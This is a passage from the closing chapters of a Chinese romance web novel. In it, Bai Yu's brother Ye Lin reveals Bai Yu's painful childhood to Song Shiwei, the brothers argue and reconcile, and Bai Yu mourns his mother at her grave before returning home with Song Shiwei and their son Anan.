他没心情抽烟了,想找灭烟的地方却没在这找到地方,只能把烟夹在手上。 疯了,叶林心理骂了句。 叶林相信只要白榆签了,宋时蔚这辈子都不会让他弟弟有机会离婚。 面对这样的宋时蔚,叶林脑子里有根弦直跳,头疼都在疼。 这人原来是这种东西吗? “你和小榆不合适。”叶林沉默了好一会,才说话,“小榆应该没和你说过吧,他以前的事。” “小榆小的时候,老爷子没让他去上学,给他请了各种老师在家教他。那个时候白家的状况并不好,老爷子年龄大了,想尽快培养继承人,对孙子的要求非常苛刻。” 想道一些操蛋的往事,叶林的脸色变得难看,“后来他们发现,冷暴力比什么手段都有用的时候,就经常刻意无视小榆。以至于在小榆小时候,很长的一段时间内,都没有正常跟人沟通的经历。” “在这种压力下,小榆身体和心理上都受到了伤害。” “他的厌食情节严重,就算被人逼着吃下去的东西也会吐出来。我第一次见他的时候,瘦的都脱相了。哪怕现在,都因为当年的事有基础病。” “常年在这种冷暴力下,小榆开始不自觉的讨好别人,产生了严重的焦虑。时间一久,他对许多知识的接受能力变的糟糕,表现出了严重的反应迟钝,甚至到了后期,连说话都说不清楚。” “以至于。”叶林的神情看不出喜怒,吸了一口烟,吐出烟雾后,才说道,“在他七岁那年,被人认为他有智力障碍。或者说,是被别人说是傻子。” 室内陷入了良久的沉默。 叶林避开宋时蔚的视线,不在敢去看他,“大概也就是这段时间里。我当时在国外赚了点钱,有了一些名声。白家联系了我,希望我能回去。” “我同意了。”叶林沉重地说道。 叶林一直不敢面对白榆,因为不管从哪个角度来讲,他在白榆的人生里都在扮演加害者,“对于小榆来讲,他在别人眼里不够好,被家里人抛弃了。” 叶林并不住在老宅里,他最开始对这个没有威胁性的弟弟也没心思过多关注。 直到他第一次见到白榆,他才发现白家的这个白家的小孩子,瘦的惊人,正是活泼的年纪里却不怎么说话,对谁都是一副攻击性的表情。 叶林不是个道德感多强的人,否则他也不会答应白老爷子回来。 但这些年来,对叶林这个从小妈死,爹也算是死人的人来讲,白榆是他唯一的亲人。 越是这样,叶林的愧疚就越深。 叶林停顿了许久,才继续说道,“陆姨在小榆出生没多久,就出国了,不怎么回来,一直到我被白家联系,才重新回国内定居。” “陆姨是一个,怎么说呢。”叶林沉默了半天,才找到一个中性词,“很自我的人。” “当然我是这个世界上,最没资格说她的人。”叶林把快要燃尽的烟扔了,把手搭在腿上,“陆姨和白漾离婚没要小榆的抚养权。她很少回去看小榆,偶尔也会施展一些随心所欲的母爱。” “经常上一秒还对着小榆亲亲抱抱的,下一秒就能冷着脸在小榆面前砸东西。理所当然的发泄完自己的情绪后,又当做没发生过,等下次。可能是几周后,有兴趣了,又过来找小榆。你应该也发现了吧,小榆对人的一些情绪会格外的应激敏感,” “这都是从小养成的习惯。为了不让妈妈和爷爷一样,彻底抛弃他,小榆一直在小心的讨好妈妈。” “他唯一一次没有对陆姨有求必应就是陆姨走的那天,他挂了陆姨的电话后关机了。”和白榆不一样,叶林对陆莫宁的死没有太多的自责,但这件事对白榆产生的影响,却让他没办法不放在心上。 “小榆已经很努力的生活了。他讨厌自己因为小时候的经历,对在意的人过分敏感讨好的习惯,所以小榆和人相处都一直保持着距离。” 叶林看着宋时蔚,说道,“我不知道为什么小榆会和你建立感情关系,但他已经不能在受一次伤害了。不要去打破他现在好不容易建立起的平衡。你给不了小榆想要的,趁现在还来得及。”【你现在阅读的是 】 第 91 章【VIP】 第91章 宋时蔚回到家里面时, 白榆正在看平板。 这个月份已经没有很热了,但白榆还是习惯性的在屋子里穿着吊带短裤,盘腿坐在沙发上, 嘴里叼着一根糖,手里拿着平板看着。 宋时蔚从白榆身后抱住了他。 白榆没注意到宋时蔚回来,他猛的被人抱住腰,下意识的一抖。 “宋……”白榆把糖拿出来,回过头, 声音到一半就停住了,剔透的琥珀色眼睛向上看宋时蔚, 不确定地问道,“你怎么了。” “让我抱抱。”宋时蔚的手环在白榆的腰上,把眼镜摘了,弓着腰,将头埋在白榆的颈窝。 太瘦了,宋时蔚不止一次的想到。 白榆身上没什么肉,背上的肩胛骨明显, 他瘦小的可怜,只是平时冷着张脸,那种不好相处的气势,让其他人注意不到这一点。 宋时蔚心里密密麻麻的疼。 白榆奇怪地隔着衣服戳了戳宋时蔚的腰。 他不擅长安慰人, 但白榆总觉得宋时蔚现在很难过。 滚烫的呼吸落在颈部,白榆敏感地把脖子往一边偏,又问了一遍,“怎么了。” “没什么。”宋时蔚发现他把情绪带给白榆,从白榆身上起来,神情看起来和平时没有什么两样, 只是抱在白榆腰上的手没有收回来。 白榆伸出舌尖,偏过头亲了宋时蔚一下。 柠檬味的。 “是甜的吧。”白榆脸上泛着红,微微喘息着说道。 “嗯。”宋时蔚意识到白榆在安慰自己,笑了,捧着白榆的脸,继续亲,声音吞没在亲吻中,“甜的。” 白榆被亲的晕晕乎乎的,浑身发软,等亲完半天,他下意识地握了握手,才发现手上的糖不见了。 宋大教授动作无比自然的拿走了小白同学的糖,不客气地含在嘴里。 白榆耳根发红,“上面我舔过了,你别吃。” 宋时蔚没回复,从沙发上起来,没走两步,就找到了放在客厅里的垃圾桶,里面果然扔的到处都是糖纸。 白榆本来打算再到茶几上拿一根的,看见宋时蔚的动作,莫名地心虚,把伸到一半的手收回来了。 “垃圾桶里的纸皮从哪来的。”宋时蔚坐在沙发上,把白榆放到他的腿上,捏着白榆的腰,“怎么吃这么多糖。” “想吃。”白榆避开宋时蔚的视线。 宋时蔚:“刚才在看什么?” 白榆不说话了。 宋时蔚不疾不徐地问道:“不能告诉我吗?” 白榆:“我刚刚在看照片。” 宋时蔚:“能给我看吗?” 白榆拿给宋时蔚看了。 是他小时候的照片。白榆其实小时候没什么照片,平板相册里的这几张已经是全部了。 一张是陆莫宁在一家网红咖啡店照的,把白榆照的很可爱。另一张是叶林照的,小小一点的白榆在树上,奶凶的往下瞪着他。 叶林拍的时候,白榆已经七岁了,看照片却比安安还小。 白榆滑动着照片,快速给宋时蔚浏览了一遍,就把平板关了。 白榆把平板往桌子上一放,生硬地转移话题,“你去哪里了。” 宋时蔚:“去见你哥哥了。” 白榆‘哦’了一声,“我打算下午去找我哥,我自己去。” 宋时蔚想起上午那场不欢而散的谈话,挑了下眉,觉得叶林今天应该是不能在受刺激了,问道:“你提前跟叶林说了吗?” “还没。”白榆说道,“没事。我都计划好了。” 宋时蔚没阻止也不打算参与白榆去找叶林的行为,“说完了,我去接你。” * * * 下午幼儿园放学,白榆把安安接走,并没有回家,而是准备往宣荣走。临走前,他才去问。 【树:哥,你在公司吗】 叶林这几年几乎没收到过除了逢年过节的祝福外白榆主动发的消息。 他立刻回复了。 【叶林:在。发生什么事了吗】 【树:我一会来找你可以吗】 弟爱来的太突然,叶林有种不详的预感,难得对这份难得的弟爱发出了一下质问。 【叶林:你来找我干什么】 【树:我想和你聊聊我和宋时蔚的事】 【树:可以吗,哥】 叶林没办法拒绝白榆主动来找他。 【叶林:可以】 【树:那我半个小时候之后就到】 白榆打车到宣荣附近,早就在等着的秘书把他引到了叶林的办公室。 叶林还没回来,白榆抱着安安在沙发上先等着。 “爸爸。”安安面对白榆坐在他的腿上,腮帮子鼓鼓的嚼着巧克力,他一次性吃太多了用小手捂住嘴,幸福的冒出小花花。 “嗯。”白榆是专门把安安带过来的,看在小崽崽的面子上,他哥就算不同意,也不会当场说什么狠话。 出于一种利用崽崽的愧疚,白榆又给了安安一块巧克力。 拿到巧克力的白予安:**●v●** 叶林迈着大步回来了,他一推开办公室的门就换上一副严肃的表情,今天无论白榆说什么,他都坚决不能同意白榆和宋时蔚在一起。 “哥。”白榆主动凑到叶林身前,把白予安举到身前,乖巧地喊道。 “舅舅。”小崽崽抬起小手打招呼。 “看。”白榆展示着,“可爱吧。” 白予安冒小花花的笑着配合展示。 叶林准备好的话,被强行地卡在喉咙里了。 “这是我和宋时蔚的孩子,有鉴定报告的。”白榆改成一只手报白予安,另一只手去拿鉴定报告。 安安把两只小胳膊挂在爸爸手臂上,仰着脑袋的去看叶林笑。 “舅舅。” “哥。” 白榆把鉴定报告给叶林,一大一小两个人一起仰着脑袋去看叶林。 叶林破天荒的感受到了巨大的压力,他被迫把鉴定报告拿过来了。 “哥。” “舅舅。” 两人又叫了一遍。 白榆前两天给他发消息的时候就说什么穿越,什么科技生子。 叶林当然是一个字都没信。 是不是真的都不重要,难道有孩子了,他弟就能被一个大他十来岁的男人骗走了吗。 叶林短暂的被动后,决定主动出击,直接把造成现在这个他没办法说话的场面的源头抱起来。 “舅舅。”安安眨了眨眼睛。 “嗯。”叶林动作僵硬的抱着安安,把秘书叫了进来,“安安先和哥哥出去玩好吗。” 安安转头去看爸爸。 白榆见这一招不奏效,也只好放弃,让秘书把安安领走了。 负责缓和气氛的小崽崽一走,在这对太久没好好说过话的兄弟间,空气忽然变得沉默起来。 白榆不知道要说些什么,沉默久了,他脑子一秃噜,直接说道:“我跟宋时蔚孩子都有了。接受我和宋时蔚在一起吧。” 眼见着叶林额头上青筋暴起,白榆越说越快,“生米都煮成稀饭了。安安都上幼儿园了,事实已经改变不了了。” 叶林没想到啊,没想到啊,他真是没想到。脑残影视剧里才会出现的台词,有一天会出现在他头上。 上午先是宋时蔚来喜欢他,下午在是他弟来喜欢宋时蔚。 好啊,好啊,好啊,喜欢来喜欢去的,就他一个恶人。 白榆没听见他哥的声音,怕他哥真的被气出病来了,刚想开口认错,就听见他哥在咆哮。 叶林:“你多大!他多大!” 叶林:“你多少心眼!他多少心眼!” 叶林:“你玩的过他!不对,你就是被他玩!” 叶林:“哪天他把你吃干净,拍拍屁股走了。你这么办!” 叶林:“你到底看上他什么了。” 白榆现在见不得别人说宋时蔚不好,他也跟着吼回去。 白榆:“跟宋时蔚结婚有哪里不好,他直接就改善了我们家基因。” 白榆:“看,安安不聪明吗。” 白榆:“这是我的基因能生出来的吗。” 白榆:“宋时蔚哪里不好了。” 叶林善于抓住关键点,“那孩子都有了,你为什么不跟他分开。” 白榆不擅长抓关键,但他不讲道理,“那怎么了,不分还可以在生一个。” 叶林:“你生吗!” 白榆卡壳了一下,然后也跟着喊回去了,“我生就我生。” 叶林比白榆大了十四岁多,但实际上,在未被叶林美化的记忆里面,他们没少吵起来过。 只是和普通的兄弟不太一样,从白榆十岁后开始更清楚理解周围的一切,陆莫宁回来后,他和叶林就从来没吵过架了。 吵架当然是吵不出结果的。晚上,叶林把白榆送回去,吵了半天,他们连饭都没吃。 白榆怀里抱着安安,小崽崽在他怀里睡了过去,白榆看着他家崽,脑袋点着,也跟着睡着了。 叶林一个人在旁边生气。 没办法,他说服不了宋时蔚,又管不了白榆,只能生气。 白榆扔在座位上的手机,唐突的在这个氛围里亮了起来。 叶林侧低下头去看。 【宋时蔚:聊完了吗?】 发现是宋时蔚的消息,叶林翻了个白眼。 【宋时蔚:我在家里煲了玉米排骨汤】 【宋时蔚:排骨汤图片.jpd】 【宋时蔚:我记得你上次说想吃】 座椅上的手机‘滴滴滴滴滴——’个不停。 叶林白眼快翻到天上去了。 这么有空,怎么不去工作呢。 天天在家做饭,是没有工作吗。 以前在国外的时候,怎么就没有发现你还喜欢做饭呢。 前面开车的司机透过后视镜看到,手一抖,差点以为老板得了眼疾。 司机第一次见他们叶总这个样子,小心地问道:“叶总去哪。” 叶林给司机报了白榆在学校旁边那套房子的地址。 “等下。”车刚发动准备起步,叶林换了个地址,让司机往宋时蔚的别墅开。 小区不让陌生车辆进去,车停在大门口的时候,白榆和安安也跟着醒了,小崽崽窝在白榆的怀里揉眼睛。 白榆往车窗外看,又转头去看叶林,“哥。” 叶林;“到了。” 白榆抱着安安下车,往外走了两步后,又折回来,敲了敲车窗。 叶林奇怪着,把车窗降下来。 “哥。”白榆把他想了很久的话,说了出来,“我从来没恨过你。” 这句话说的很平静,却耗费掉白榆所有的力气了,他没敢去看叶林的表情,说完,他抱着安安头也不回的走了。 这里到宋时蔚屋子里还有相当一段距离,白榆的脚步却很轻快。 他从院子里进去,推开屋子的大门,排骨的肉香混合着玉米的清甜的味道漫延开来,宋时蔚正在把晚饭摆到桌子上。 宋时蔚看到他,先笑了,眼里是溢出来的温暖,“回来了,洗手去。” 白榆点头,“嗯。” 小崽崽也跟着点头,“嗯。” 洗完手回来,宋时蔚把安安放到椅子上,围在一起吃饭。 宋时蔚盛了一碗汤给白榆,“谈的怎么样。” 白榆喝了一口汤,汤里没什么油花,喝起来很舒服,他又没忍住去咬排骨,满足后,板着脸说道:“不怎么样。” 宋时蔚无声的笑了下,“看起来聊的不错。” 很多看起来破裂的关系,实际上只要说两句话就会好,这个谁都明白的道理,却经常因为缺少机会和勇气。 白榆抬头奇怪的看着宋时蔚,“聊的不怎么样。” 宋时蔚:“嗯。”【你现在阅读的是 】 【全文完结】 第92章 吃完饭, 白榆收到了叶林的消息。 【叶林:我知道】 很简单的三个字,白榆却硬是盯着手机看了好几分钟。 晚上,白榆躺在床上, 安静的睁开了眼睛。自从有了安安后,白榆很少会在再晚上去想以前的事了。 他这两年已经不怎么吃药了,何况就算有药,他也没带过来。白榆动作小心点翻了个身,心想, 大不了睁着眼睛过一晚上。 他忽然被人从身后抱住,宋时蔚的声音温沉, “睡不着?” 白榆感受到肩膀上传来的重量,慢了半拍说道:“……嗯。” 宋时蔚从床上坐起来,他头发睡的有些乱,半眯着眼睛,去拿床头放着的眼睛给带上。 他去看白榆,月光下,对方的眼神清明, 半点睡意都没有。 宋时蔚:“睡不着,我们就去转转。” 白榆从床上起来,问道:“去哪?” 这个时间点,能去哪, 酒吧,夜店,还是去飙车。白榆现在都没兴趣,但有宋时蔚陪着,去哪都行。 宋时蔚:“去阳台。” 白榆准备换衣服的动作停住,硬邦邦地说, “连门都不出能叫转转吗。” 宋时蔚笑了一下,“那就不叫了。” 宋时蔚卧室的阳台很大,里面哪怕养了一架子的仙人掌,依旧有很多空余的位置。 把白榆带到阳台后,宋时蔚反倒先走了,“等我一下,我去拿个东西。” 白榆:“哦。” 宋时蔚走了,白榆伸出手指,去碰仙人掌上的刺,心想,长这么那么多刺有什么用,扎人一点也不疼。 白榆捏了一根仙人掌上的刺,抬头往天上看。 今天晚上的天气很好,风吹在身上很舒服,夜空干净,能看到很多星星。 宋时蔚拿着一套望远镜过来,他打开设备,熟练的架好,望远镜的体积正好把阳台空位占满,阳台顿时没那么空了。 感受到白榆好奇的目光,宋时蔚解释道:“以前就是放在这的。” 白榆看着面前的设备,“我对天文一点都不懂。” “我也不懂。”宋时蔚在白榆身后,给他调试着设备,虚搂着他,“看着玩就好。” 白榆第一次用望远镜,很新奇。 宋时蔚已经过了对天文感兴趣的时候,何况这一刻,他的星星在怀里。 “宋时蔚。”白榆忽然很唐突地喊道,他的语气很平静,“如果我们有一天分开,你要告诉我原因可以吗?” 宋时蔚放在白榆腰上的手收紧。 人在大脑快速发展的年幼时期的经历,会对一个人的行为,甚至是看待这个世界的方式都产生巨大的影响。 很多感到痛苦的经历,也许早就被淡忘了,但实际上却被深深的锁在大脑里,在未来的一生中,反复的主导着人的行为。 宋时蔚无法决定白榆的过去,但他却可以参与白榆的未来。 “如果真的有那么一天,我们分开了。白榆,我希望你永远不要觉得这是你的问题。”宋时蔚抱着白榆,亲了一下他的额头,“你值得更好的。” 白榆的眼眶一热,“对不起。忽然提这个,我就是……” 我就是想起以前的事情了。 如果你也不要我了,起码要告诉我理由。 我还能改。 宋时蔚抚摸着白榆的后颈安抚他,岔开话题,“今天怎么睡不着?” 白榆:“在想一些事。” 宋时蔚:“叶林的事情。” “不全是,最近……”白榆顿了顿,还是没说话。 宋时蔚其实清楚最近是什么日子,但他没说话,看着白榆,等他自己说出来。 “最近快到我妈的忌日了。”白榆最后还是说了。 宋时蔚鼓励式的拍了拍白榆,让他继续向自己表白。 “我怕,我渐渐的把她忘了。”白榆抓着宋时蔚的衣服说道。 宋时蔚没有发表他的观点,只是问了个问题,“还记得妈妈最喜欢什么花吗?” 白榆几乎下意识的报了个名字。 宋时蔚的掌心拂过白榆的发丝,“你看,这不是还好好的记得呢吗。” 白榆回过头去看宋时蔚。 “你一直都记着呢。”宋时蔚语气温和地说道,“这样就足够了。” * * * 陆莫宁忌日的这天,宋时蔚开车,陪着白榆一起到了墓园门口。 临进去的时候,白榆没让宋时蔚和他一起过去。 白榆捧着一束向日葵说道:“你在车上等我一会,我尽快出来。” 宋时蔚没有强行要一起过去,捏了一把他小男朋友天生的冷脸,在白榆的瞪视下,回到了车里,他把车窗调下来,说道:“不急,慢慢来。我就在这等你。” 白榆皮肤白,脸上短暂的浮现出一片红印,面无表情的走了。 陆莫宁走后的事,几乎都是白榆在办的。 寸土寸金的这片墓地上,平时被专人打理着,没有什么多余的清扫需要做。 今天除了白榆,没有其他人再来看陆莫宁了。 白榆把花放在陆莫宁墓前,喊道:“妈。” 每到忌日还有特定的日子,白榆都会来看陆莫宁,但也仅限于这些日子。 白榆蹲在墓前,看着石碑上刻着的陆莫宁的名字,定下心来说道:“我不知道这么说你会不会不高兴,但我……” 白榆侧过身,眼皮垂着,没敢去看陆莫宁,“反正我现在过的挺好的。” “我遇到了一个人,他很好,虽然是个男的,不过你应该不会在意这种事。我们还有了一个孩子,叫安安,很可爱。我改天带他过来给你看。” 陆莫宁是少有的美人,长相明艳,明眸皓齿,从小过的顺风顺水,一直到她和白漾结婚,她受不了这样的打击。 她恨白家,也恨这个从她肚子里生出来的白家的孩子。 谩骂、诅咒的声音,仿佛还在白榆耳边。 白榆清楚,陆莫宁或许并非不爱他,但她对白家所有人都恨,不会因为这点爱抵消。 良久的沉默后,白榆的嘴唇微张,艰涩地说道:“对不起。我不能带着你的恨过一辈子。” “我会好好的生活。”白榆皱着眉,不让自己的表情看起来太可怜,将带来的花在墓前摆正,“我也会经常给你给烧纸的,你在下面也要好好的生活。” “我现在过的很好。”白榆又重复了一边。 白榆从墓园出来的时候,第一眼就看见站在车前等他的宋时蔚,连白榆自己都没意识到,他是跑过去找宋时蔚的。 他紧靠在宋时蔚身上,眼睛盯着宋时蔚泪珠像是被压抑了许久一样,不受控制的落了下来。 “宋时蔚。”白榆说不出话来,声音哑的不像话,反复的叫道,“宋时蔚。” “嗯,我在。”宋时蔚拖住白榆的后腰,另一只手环住白榆的肩,将白榆固定在自己的怀抱中。 也许是因为潜意识里就知道没用,白榆从没在别人面前哭过。 但是在看到宋时蔚的那一刻,白榆的眼泪像是收不住了一样,一直在往下掉。 白榆哭着,奇怪的是他并不怎么难受。 他好像忽然没那么在意了。 不在意陆莫宁到底爱不爱他,不在意到底是不是因为他不够优秀,所以老爷子才会放弃他。 也许是因为他现在有宋时蔚和安安陪着。也或许只是单纯的是因为他被人毫无保留的爱过了,所以不在意了。 宋时蔚抱着白榆,让白榆趴在自己身上,安静又温柔的让白榆发泄着。 过了很久,白榆红着眼睛,红着鼻子,把脑袋从宋时蔚身上起来。 他板着张脸心想道,丢死人了。 我哭个什么劲。 有什么可哭的。 白榆垂眸看见宋时蔚衣服上,被染湿的一大片,觉得更丢人了。 宋时蔚从这小孩的动作里,也品出来了,这是后知后觉的又开始要面子了,“先到车里去。” 白榆怕他眼睛哭肿了,没敢四处去看,但还是很小心往四周的偷瞄了几眼。 “没人看到。” “哦。” 宋时蔚没让白榆坐到副驾驶上,他把白榆拉到自己身上,一到车里,就开始用力地舔舐着白榆的眼泪。 白榆被他舔腰不断的往后仰,但身体被宋时蔚按着,没办法抽离。 “宋时蔚。”被舔的实在是受不了,白榆闭着一只眼,身体忍不住发抖的喊道。 “嗯。”宋时蔚捧着白榆的脸,很温柔的在白榆的脸颊落下一吻。 宋时蔚见白榆的神情恢复如常,用手去拨开他额前的碎发,笑了一下说道:“我们去接安安,好不好。然后回家,回我们的家。” 本来被舔的有些生气了的白榆,被转移了注意力,干脆地说道:“行,我们和安安回家。” 幼儿园门前,白予安和往常一样,眼睛亮亮的朝着宋时蔚和白榆的位置扑了过去,喊道:“爸爸!爹地!” 白榆接住他家崽,抱起来,下意识的被小崽崽的笑容感染,跟着笑了起来。 白榆说不出来这种变化,夕阳还是那个夕阳,就连路旁的花都还是他看过无数次的样子,但是这一刻,好像什么都变了。【你现在阅读的是 】